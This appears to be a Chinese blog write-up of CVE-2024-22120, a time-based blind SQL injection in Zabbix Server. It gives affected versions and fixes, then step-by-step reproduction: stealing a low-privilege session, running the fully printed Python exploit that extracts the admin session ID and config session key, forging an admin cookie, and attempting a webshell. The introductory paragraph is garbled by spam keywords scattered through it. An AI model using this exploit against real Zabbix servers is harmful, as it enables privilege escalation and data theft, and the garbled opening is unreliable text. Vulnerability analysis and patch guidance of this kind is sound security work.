 
 Zabbix是注入一个开源的监控软件工具,旨在帮助IT专业人士实时监控和确保各种网络服务、漏洞服务器及应用程序的注入稳定性和性能。它为监控IT基础设施提供了全面的漏洞解决方案,从网络设备、注入服务器、漏洞数据库到云服务和虚拟机均涵盖在内。注入 Zabbix的漏洞主要特点包括: 跨平台支持:Zabbix可以在Linux、Windows、注入macOS等多种操作系统上部署,漏洞并且支持对多种硬件和软件进行监控。注入基于代理与无代理监控:Zabbix使用轻量级代理,漏洞可安装在被监控主机上进行详细监控。注入同时,漏洞它也支持通过SNMP、注入IPMI、JMX等协议进行无代理监控。灵活的告警机制:系统允许用户根据特定条件设置自定义触发器和通知,确保在问题恶化前迅速响应。数据可视化与报告:Zabbix提供了一个基于Web的界面,用户可以定制仪表板、图表和报告,以便直观地分析和理解系统性能。自动发现功能:能够自动检测新设备或现有配置的变化,减少手动配置的工作量。免费信息发布网高度可扩展性:设计用于处理大规模环境,能够同时监控成千上万的指标。可扩展性:用户可以通过自定义脚本和与外部系统的集成来扩展Zabbix的功能。开源:作为开源软件,Zabbix得益于活跃的社区对其开发的支持、故障排查帮助以及共享的自定义插件和集成。        由于其丰富的功能集、可扩展性和相比于专有解决方案的成本效益,Zabbix常被企业环境所采用。无论企业规模大小,只要希望保持高可用性和优化其IT资源的性能,Zabbix都是一个合适的选择。 1.1漏洞简介1.1.1漏洞情况Zabbix Server组件中修复了一个SQL注入漏洞(CVE-2024-22120),其CVSS评分为9.1,目前该漏洞的PoC已公开。Zabbix多个受影响版本中存在SQL注入漏洞,该漏洞存在于audit.c的zbx_auditlog_global_script函数中,由于clientip字段未经清理,可能导致SQL时间盲注攻击,经过身份验证的b2b信息网威胁者可利用该漏洞从数据库中获取敏感信息,并可能导致将权限提升为管理员或导致远程代码执行。Zabbix服务器能够执行配置好的脚本命令。命令执行后,会将审计记录添加到“审计日志”中。由于“clientip”字段未经过适当清理,攻击者有可能通过向“clientip”注入SQL来利用基于时间的盲注SQL注入漏洞。 1.1.2漏洞技术细节SQL注入漏洞位于audit.c文件的zbx_auditlog_global_script函数中 复制2225: if (ZBX_DB_OK >zbx_db_execute("insert into auditlog(auditid,userid,username,clock,action,ip,resourceid,"                        3226:"resourcename,resourcetype,recordsetid,details) values (%s,"                        4227: ZBX_FS_UI64 ",%s,%d,%d,%s,"ZBX_FS_UI64",%s,%d,%s,%s)", auditid_cuid, userid, username,(int)time(NULL),                        5228:ZBX_AUDIT_ACTION_EXECUTE,clientip, hostid, hostname, AUDIT_RESOURCE_SCRIPT, auditid_cuid,                        6229:details_esc))                        7230: {                        8231: ret = FAIL;                        9232: }1.2.3.4.5.6.7.8.                                            行2225开始了一个SQL插入语句的构造,用于将审计日志信息存入数据库。 行2227中,变量clientip被直接插入到SQL语句中,而这个值在实际应用中是由攻击者控制的,没有经过适当的转义或验证。 由于clientip没有得到适当的清理或验证,攻击者可以注入SQL查询,尝试执行恶意操作。 注意,由于环境或系统的限制,此漏洞可能仅支持时间盲SQL注入(Time-Based SQLi),这意味着攻击者不能直接从响应中获取数据,而是通过观察延迟来推断SQL查询的结果(如示例exploit代码所示)。 时间SQL盲注入的WordPress模板工作原理是,攻击者构造的查询会包含等待特定时间的条件,根据数据库响应时间的不同,攻击者可以判断SQL查询条件是否满足,从而逐步提取或操作数据。这种类型的SQL注入通常更难以利用,因为它需要更多的交互和时间来推断结果,但仍然是一个严重的安全风险。 1.2 影响范围Zabbix 6.0.0 - 6.0.27 Zabbix 6.4.0 - 6.4.12 Zabbix 7.0.0alpha1 -                7.0.0beta1 1.3解决方法升级到安全版本:检查Zabbix官方网站发布的安全更新,并将Zabbix升级到修复了漏洞的版本。应用安全补丁:如果无法立即升级,可以应用官方提供的安全补丁。审计配置:确保Zabbix的配置已经更新,以防止未授权的访问。加强监控:在Zabbix服务器上实施额外的安全措施,如增强监控数据库的访问权限,使用更安全的认证方法等。        目前该漏洞已经修复,受影响用户可升级到Zabbix                6.0.28rc1、6.4.13rc1、7.0.0beta2或更高版本。下载链接:https://github.com/zabbix/zabbix/tags 1.4漏洞利用工具https://github.com/W01fh4cker/CVE-2024-22120-RCE https://support.zabbix.com/secure/attachment/236280/236280_zabbix_server_time_based_blind_sqli.py 1.5复现步骤这里提供了三种不同的复现方法,第一种是实际利用过程,涉及使用附带的漏洞利用程序提取管理员的session_id和session_key以伪造zbx_session,这些数据结合后可用于生成有效的管理员zbx_session。第二种是一个更简单的版本,仅展示基于时间的SQL注入的概念验证(PoC),您将观察到三次请求以及后端分别延迟1秒、5秒和10秒的响应。第三种是另一个简单的PoC,可以通过查看zabbix_server.log日志来验证。 1.5.1第一种验证方式1.登录ZABBIX确认命令可执行        首先,使用低权限用户登录。该用户至少需要对一个主机有足够的访问权限以对其执行命令,如图1所示。  
 图1 具有Detect operating system权限用户  备注:在zabbix中具有Detect operating system脚本权限的只有管理员权限。普通用户基本不具备该权限。 2.抓包获取sessionid        通过burpsuite提取登录用户的“sessionid”,从zbx_session cookie中提取(先用Base64解码,然后从JSON中获取sessionid)。   3.找到hostid        提取任意可访问主机的hostid:操作路径为“监控->主机”,在响应中找到host                id。这个需要登录zabbix,且能查看存在hosts才有。很多hostid为10084   4.执行漏洞利用脚本        使用zabbix_server_time_based_blind_sqli.py脚本。如有需要,可使用--help查看帮助信息。通常情况下,仅需提供“ip”、“sessionid”和“hostid”即可执行: (1)Linux环境下执行 复制python zabbix_server_time_based_blind_sqli.py --ip 192.168.223.128 --sid a6094b4f052fd133adc335382f0297f6 --hostid 10084 | grep "(+)"1.                                            (2)Windows环境下执行 复制python zabbix_server_time_based_blind_sqli.py --ip 192.168.19.142 --sid 27c97210330ddbd542a31e74a57fadd9 --hostid 10084 | find "(+)"1.                                            漏洞利用可能需要大约10分钟执行,但每隔几秒你会看到进度更新。耗时较长是由于基于时间的SQL注入需要在每次猜测后暂停(sleep),具体细节可在漏洞利用代码中查看。通过管道命令grep                ""过滤输出,减少pwntools打印的大量调试信息。成功后,你将获得管理员的session_id和session_key,这些用于生成zbx_session                cookie的签名,从而使你能够创建管理员令牌。 注意:初次执行脚本需要安装pwn模块,执行命令pip install pwn  
 1.3.2第二种方法 - 基于时间的SQL注入PoC构造一个包含延时条件的SQL注入payload。通过配置脚本执行或触发器,使Zabbix服务器处理包含注入的请求。观察连续三次请求后的响应时间差异,确认1秒、5秒和10秒的延迟,这是基于注入点响应时间的直接证据。 1.准备阶段完成前面步骤中的1至3步,即提取低权限用户的sessionid和任意可访问的hostid。 2.执行PoC Exploit使用以下命令,记得替换为你自己的IP、sessionid和hostid: 复制python zabbix_server_time_based_blind_sqli.py LOG_LEVEL=error --ip 192.168.19.142 --sid a6094b4f052fd133adc335382f0297f6--hostid 10607 --poc1.                                            在这个PoC过程中,你将会观察到以下特点: 发送3个请求。后端服务器分别在响应前延迟1秒、5秒和10秒。通过请求与响应的包,你可以明确地看到后端的延迟发生,这是验证基于时间的盲注的有效性。这种延迟证明了SQL查询执行时间被人为控制,是SQL注入存在的直接证据。        1.5.3第三种方法 - 日志验证PoC准备一个简单的SQL注入payload,设计为在日志文件中留下特定痕迹。 触发脚本执行,确保payload包含在请求中。检查zabbix_server.log文件,寻找与注入payload相关的记录,间接证明了SQL注入的可能性。 1.执行第一种方法中的1-3步(提取低权限用户sessionid和任何可用的hostid) 2.执行漏洞利用(将ip、sessionid和hostid替换为你之前步骤中得到的) 复制python3 zabbix_server_time_based_blind_sqli.py LOG_LEVEL=error --ip 192.168.223.128 --sid a6094b4f052fd133adc335382f0297f6 --hostid 10607 --poc21.                                            检查zabbix_server.log日志,你会看到查询失败了,但已注入了 +                version() + ,并且其结果正确地显示在了位置上。  
 zabbix_server_time_based_blind_sqli.py源代码如下: 复制#!/usr/bin/python3                        import json                        import argparse                        import pwnlib.context                        from pwn import *                        from datetime import datetime                        def send_message(ip, port, sid, hostid, injection):                        zbx_header =                        "ZBXD\x01".encode()                        #query                        # insert into auditlog (auditid,userid,username,clock,action,ip,resourceid,"                        # "resourcename,resourcetype,recordsetid,details)                        values (%s," ZBX_FS_UI64 ",%s,%d,%d,%s,"                        # ZBX_FS_UI64                        ",%s,%d,%s,%s)                        #                        message = {                        "request":                        "command",                        "sid": sid,                        "scriptid":                        "3",                        "clientip": " +                        " + injection + "+ ",                        "hostid": hostid                        }                        message_json = json.dumps(message)                        #print("message=%s" %                        message)                        message_length = struct.pack(<q,                        len(message_json))                        message = zbx_header + message_length                        + message_json.encode()                        #print("Sending message %s"                        % message)                        r = remote(ip, port, level=debug)                        r.send(message)                        response = r.recv(100)                        r.close()                        #print(response)                        def extract_admin_session_id(ip, port, sid, hostid, time_false, time_true):                        session_id = ""                        token_length = 32                        for i in range(1, token_length+1):                        for c in string.digits +                        "abcdef":                        print("\n(+) trying                        c=%s" % c, end="", flush=True)                        before_query =                        datetime.now().timestamp()                        query = "(select CASE                        WHEN (ascii(substr((select sessionid from sessions where userid=1),%d,1))=%d)                        THEN sleep(%d) ELSE sleep(%d) END)" % (i, ord(c), time_true, time_false)                        send_message(ip, port, sid,                        hostid, query)                        after_query =                        datetime.now().timestamp()                        if time_true >                        (after_query-before_query) > time_false:                        continue                        else:                        session_id += c                        print("(+)                        session_id=%s" % session_id, end="", flush=True)                        break                        print("\n")                        return session_id                        def extract_config_session_key(ip, port, sid, hostid, time_false, time_true):                        token = ""                        token_length = 32                        for i in range(1, token_length+1):                        for c in string.digits +                        "abcdef":                        print("\n(+) trying                        c=%s" % c, end="", flush=True)                        before_query =                        datetime.now().timestamp()                        query = "(select CASE                        WHEN (ascii(substr((select session_key from config),%d,1))=%d) THEN sleep(%d)                        ELSE sleep(%d) END)" % (i, ord(c), time_true, time_false)                        send_message(ip, port, sid,                        hostid, query)                        after_query =                        datetime.now().timestamp()                        if time_true >                        (after_query-before_query) > time_false:                        continue                        else:                        token += c                        print("(+)                        session_key=%s" % token, end="", flush=True)                        break                        print("\n")                        return token                        def tiny_poc(ip, port, sid, hostid):                        print("(+) Running simple                        PoC...\n", end="", flush=True)                        print("(+) Sleeping for 1                        sec...\n", end="", flush=True)                        before_query =                        datetime.now().timestamp()                        query = "(select sleep(1))"                        send_message(ip, port, sid, hostid,                        query)                        after_query = datetime.now().timestamp()                        print("(+) Request time:                        %d\n" % (after_query-before_query))                        print("(+) Sleeping for 5                        sec...\n", end="", flush=True)                        before_query =                        datetime.now().timestamp()                        query = "(select sleep(5))"                        send_message(ip, port, sid, hostid, query)                        after_query =                        datetime.now().timestamp()                        print("(+) Request time:                        %d\n" % (after_query - before_query))                        print("(+) Sleeping for 10                        sec...\n", end="", flush=True)                        before_query =                        datetime.now().timestamp()                        query = "(select sleep(10))"                        send_message(ip, port, sid, hostid,                        query)                        after_query =                        datetime.now().timestamp()                        print("(+) Request time:                        %d\n" % (after_query - before_query))                        def poc_to_check_in_zabbix_log(ip, port, sid, hostid):                        print("(+) Sending SQL request                        for MySQL version...\n", end="", flush=True)                        query = "(version())"                        send_message(ip, port, sid, hostid,                        query)                        if __name__ == "__main__":                        parser =                        argparse.ArgumentParser(description=Command-line option parser example)                        parser.add_argument("--false_time",                        help="Time to sleep in case of wrong guess(make it smaller than true time,                        default=1)", default="1")                        parser.add_argument("--true_time", help="Time to sleep in                        case of right guess(make it bigger than false time, default=10)",                        default="10")                        parser.add_argument("--ip",                        help="Zabbix server IP")                        parser.add_argument("--port", help="Zabbix server                        port(default=10051)", default="10051")                        parser.add_argument("--sid", help="Session ID of low                        privileged user")                        parser.add_argument("--hostid",                        help="hostid of any host accessible to user with defined sid")                        parser.add_argument("--poc", action=store_true,                        help="Use this key if you want only PoC, PoC will simply make sleep 1,2,5                        seconds on mysql server", default=False)                        parser.add_argument("--poc2",                        action=store_true, help="Use this key to simply generate error in zabbix                        logs, check logs later to see results", default=False)                        args = parser.parse_args()                        if args.poc:                        tiny_poc(args.ip, int(args.port),                        args.sid, args.hostid)                        elif args.poc2:                        poc_to_check_in_zabbix_log(args.ip, int(args.port), args.sid,                        args.hostid)                        else:                        print("(+) Extracting Zabbix                        config session key...\n", end="", flush=True)                        config_session_key =                        extract_config_session_key(args.ip, int(args.port), args.sid, args.hostid,                        int(args.false_time), int(args.true_time))                        print("(+) config                        session_key=%s\n" % config_session_key, end="", flush=True)                        print("(+) Extracting admin                        session_id...")                        admin_sessionid = extract_admin_session_id(args.ip,                        int(args.port), args.sid, args.hostid, int(args.false_time),                        int(args.true_time))                        print("(+) admin                        session_id=%s\n" % admin_sessionid, end="", flush=True)                        print("(+) session_key=%s,                        admin session_id=%s. Now you can genereate admin zbx_cookie and sign it with                        session_key" % (config_session_key, admin_sessionid))1.2.3.4.5.6.7.8.9.10.11.12.13.14.15.16.17.18.19.20.21.22.23.24.25.26.27.28.29.30.31.32.33.34.35.36.37.38.39.40.41.42.43.44.45.46.47.48.49.50.51.52.53.54.55.56.57.58.59.60.61.62.63.64.65.66.67.68.69.70.71.72.73.74.75.76.77.78.79.80.81.82.83.84.85.86.87.88.89.90.91.92.93.94.95.96.97.98.99.100.101.102.103.104.105.106.107.108.109.110.111.112.113.114.115.116.117.118.119.120.121.122.123.124.125.126.127.128.129.130.131.132.133.134.135.136.137.138.139.140.141.142.143.144.145.146.147.148.149.150.151.152.153.154.155.156.157.158.159.160.161.162.163.164.165.166.167.168.169.170.171.172.173.174.175.176.177.178.179.180.181.182.183.184.185.186.187.188.189.190.191.192.193.194.195.196.197.198.199.200.201.202.203.204.205.206.207.                                                                1.5.4获取Webshell 【CVE-2024-22120-Webshell(在多数情况下无法使用)】 如果你已经拥有管理员权限用户的session ID,请尝试: 复制python CVE-2024-22120-Webshell.py --ip 192.168.198.136 --aid fe647173d7769d55a43f161a68b256e0 --hostid 10084 --file shell.php1.                                            否则,如果只有普通用户session ID,请使用: 复制python CVE-2024-22120-Webshell.py --ip 192.168.198.136 --sid f026d1c7a3c36537cfe78fed35c7456a --hostid 10084 --shell shell.php1.                                            但是,由于执行命令的用户通常是zabbix用户,大多数情况下无法通过echo直接写入webshell,因为这受限于文件权限和Zabbix后台的执行上下文限制,使得直接创建或修改网页文件变得困难。  
 1.5.5获取后台管理员权限1.执行CVE-2024-22120-LoginAsAdmin.py程序获取cookie                                    复制python CVE-2024-22120-LoginAsAdmin.py --ip 192.168.19.142 --sid 58a1d35e74e90e1ca493d95e4092553c --hostid 100841.                                              2.替换zbx_session        使用ctrl+i打开chrome浏览器,找到“Application”-“Cookies”,找到目标网站,将其中的zbx_session替换为工具获取的。   3.直接获取管理员权限        重新打开一个页面,刷新即可获取管理员权限。  
 1.5.6注意事项1.需要安装pwn模块                                    复制pip install pwn1.                                    2.默认登录账号及密码                                    复制Adminzabbix admin zabbix1.                                    3.安装有zabbix环境的虚拟机        https://cdn.zabbix.com/zabbix/appliances/stable/6.0/6.0.20/zabbix_appliance-6.0.20-vmx.tar.gz (1)登录用户账号及密码root/zabbix (2)需要安装net-tools 复制yum install net-tools1.                                             
   4.配置具备低权限用户和特定要求的账号及权限        参考文章https://forum.butian.net/share/3056配置具备低权限且有脚本权限的用户。否则无法再现。  
 1.6总结昨天得知zabbix存在RCE漏洞,开始很兴奋,结果一路复现过来需要一些条件的配合。漏洞虽然高危,但外网直接可以利用的可能性极低。在偶然的条件下才能达到目标。具体条件: 1.具有低权限的用户。 2.具备Detect operating system权限。默认用户都不具备该条件。 3.必须有hosts。 参考链接https://support.zabbix.com/browse/ZBX-24505 https://git.zabbix.com/projects/ZBX/repos/zabbix/commits/c8ac414ff44 https://mp.weixin.qq.com/s/qUr58Dez4lnlaTyg2BilUg Zabbix SQLi(CVE-2024-22120) https://forum.butian.net/share/3056浅聊CVE-2024-22120:Zabbix低权限SQL注入至RCE+权限绕过  |